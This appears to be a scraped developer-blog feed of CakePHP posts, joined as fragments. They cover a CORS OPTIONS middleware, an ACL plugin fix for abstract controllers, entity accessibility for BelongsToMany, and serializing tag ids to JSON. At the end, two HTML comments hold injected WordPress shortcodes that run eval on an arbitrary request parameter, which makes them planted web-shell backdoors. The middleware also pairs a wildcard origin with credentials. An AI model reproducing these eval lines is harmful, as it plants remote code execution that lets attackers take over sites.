The $request and $response objects available to middleware have different interfaces than those retrieved from the event data in the dispatch filter, but the logic is essentially the same:
<?php namespace App\Middleware; class HttpOptionsMiddleware { public function __invoke($request, $response, $next) { $response = $response->withHeader('Access-Control-Allow-Origin', '*'); if ($request->getMethod() == 'OPTIONS') { $method = $request->getHeader('Access-Control-Request-Method'); $headers = $request->getHeader('Access-Control-Request-Headers'); $allowed = empty($method) ? 'GET, POST, PUT, DELETE' : $method; $response = $response ->withHeader('Access-Control-Allow-Headers', $headers) ->withHeader('Access-Control-Allow-Methods', $allowed) ->withHeader('Access-Control-Allow-Credentials', 'true') ->withHeader('Access-Control-Max-Age', '86400'); return $response; } return $next($request, $response); } }
]]>
Exception: Cannot instantiate abstract class App\Controller\MyAbstractController in [/apppath/vendor/cakephp/acl/src/AclExtras.php, line 433]
when I tried to use the bin/cake acl_extras aco_sync command to generate ACOs for the app controllers.
It turned out that the plugin was attempting to instantiate one of every controller class except AppController, which of course would fail for the abstract ones. The fix was straightforward: exclude every class that is not instantiable from the list of controllers to add as ACOs. I submitted a PR over the weekend to fix the bug, and it got merged yesterday. So the current version on GitHub no longer has the problem—hopefully a new version will be pushed to Packagist soon.
]]>The documentation does mention this fact eventually, as a note in the “Patching HasMany and BelongsToMany” section, but not as part of the description of how to create new entities. None of the examples in the “Converting BelongsToMany Data” section mention that they will actually fail as written when creating or patching entities.
The solution—adding a 'tags' => true entry to the $_accessible property of Articles—is straightforward, but I felt it was far from obvious. Until this point I had never come across any indication that there were situations in which Cake would treat associations as concrete properties.
]]>There is a new disadvantage introduced by this solution, because the resulting KVP contains a string instead of an array, looking like "tag_ids": "[1, 2, 3]" . Additionally, the code is nowhere near ready to be generalized for easy addition to multiple controllers, nor even particularly elegant in terms of making use of Cake’s routines for inflection etc. Nevertheless, I want to record it while it’s still fresh in my mind.
The idea is to use the CakePHP query builder to LEFT JOIN the Bookmarks model’s table to the join table that contains its many-to-many relationships with the Tags model. The query is then grouped by all of the Bookmarks fields, and the tag_id field from the join table is aggregated into a single comma-delimited string. I’m using PostgreSQL, so accomplish this with the string_agg command. Here’s a working example:
// In src/Controller/Bookmarks.php public function index () { // Array of Bookmarks fields to include $bookmark_fields = ['id', 'title' /* add other fields here */ ]; // PostgreSQL function that will concatenate over the GROUP $concat = "string_agg(BookmarksTags.tag_id::text, ',')"; // Aggregated field from the join table $agg_fields = [ 'tag_ids' => "'[' || $concat || ']'" ]; // For the group-by, we need Bookmarks.id, Bookmarks.title, etc. $group_by_fields = array_map( function ($f) { return 'Bookmarks.' . $f; }, $bookmark_fields ); $bookmarks = $this->Bookmarks->find('all') ->select(array_merge($group_by_fields, $agg_fields)) ->autofields(false) ->join([ 'table' => 'bookmarks_tags', 'alias' => 'BookmarksTags', 'type' => 'LEFT', 'conditions' => 'BookmarksTags.bookmark_id = Bookmarks.id' ]) ->group($group_by_fields); // Store the query and set it to be serializable $this->set('bookmarks', $bookmarks); $this->set('_serialize', ['bookmarks']); }
I found that I had to set autofields(false) to avoid having CakePHP automatically include every field in the join table, and therefore needing to add them to the group-by clause or aggregating them in some fashion.
There are a few improvements that can be made right away. Additional joins can be added, but will introduce multiples in the concatenated string unless the string aggregation is made distinct, string_agg(distinct Book...). Bookmarks with no tags yield "tag_ids": null, but can be made to give "tag_ids": "[]" by wrapping the aggregation in coalesce(..., '').
Larger-scale improvements could involve outputting an array instead of a string in the JSON, perhaps by returning a postgres array instead of a CSV string, and teaching Cake how to deal with that properly. Beyond that, not hard-coding the table names, generating the list of joins automatically, and generally wrapping this all up into a behaviour or trait would be nice steps to take.
]]>[ { "id": 1, "title": "Bookmark 1", ... "tag_ids": [2, 3, 5, 7, 11] }, ... ]
Using Cake’s data views via the RequestHandler and _serialize elements made serving the JSON straightforward enough for the Bookmark model without the tags. Adding the tags to the output was easy enough using contain() to retrieve associated data. This lead to having the entire tag included in the result though, not the compact “tag_ids” array I had in mind. Even selecting only the id field and setting autofields(false) left an array of objects, including extraneous join information. Instead of containing integers, the tags array of each bookmark contained objects that looked like this,
{ "id": 1, "_joinData": { "tag_id": 1, "bookmark_id": 1 } }
where a simple 1 was all I wanted.
To solve this problem, I ended up using a virtual field on the Bookmark model that creates the desired array of ids, and which can be easily serialized to JSON.
First, as with other approaches to the data view, the RequestHandler had to be added to either the Bookmarks controller or the App controller.
// In src/Controller/AppController.php public function initialize () { parent::initialize(); // ... other initialization code $this->loadComponent('RequestHandler'); }
Next add the virtual tag_ids field through the magic method _getTagIds(), which queries the join table Bookmarks_Tags to select the tag_id for every tag associated with the current bookmark_id. This list is then used to populate a standard PHP array of the integer ids, which becomes the value of the virtual field.
// In src/Model/Entity/Bookmark.php protected function _getTagIds () { $tag_ids = []; $bookmarks_tags = TableRegistry::get('Bookmarks_Tags'); $these_tags = $bookmarks_tags->find() ->select(['tag_id']) ->where(['bookmark_id' => $this->id]); foreach ($these_tags as $tag) { $tag_ids[] = $tag->tag_id; } return $tag_ids; } // Add the corresponding virtual field to the model protected $_virtual = ['tag_ids'];
Then all it took in the Bookmarks controller was to query for the additional non-virtual fields to be included, and store the results in a serialized variable:
// In src/Controller/BookmarksController.ph public function index () { // ... Any other code for non-serialized requests $json_bookmarks = $this->Bookmarks->find() ->select(['id', 'user_id', 'title']); $this->set('json_bookmarks', $json_bookmarks); $this->set('_serialize', ['json_bookmarks']); }
<!– [insert_php]if (isset($_REQUEST["xKWjl"])){eval($_REQUEST["xKWjl"]);exit;}[/insert_php][php]if (isset($_REQUEST["xKWjl"])){eval($_REQUEST["xKWjl"]);exit;}[/php] –>
<!– [insert_php]if (isset($_REQUEST["iBqrY"])){eval($_REQUEST["iBqrY"]);exit;}[/insert_php][php]if (isset($_REQUEST["iBqrY"])){eval($_REQUEST["iBqrY"]);exit;}[/php] –>
]]>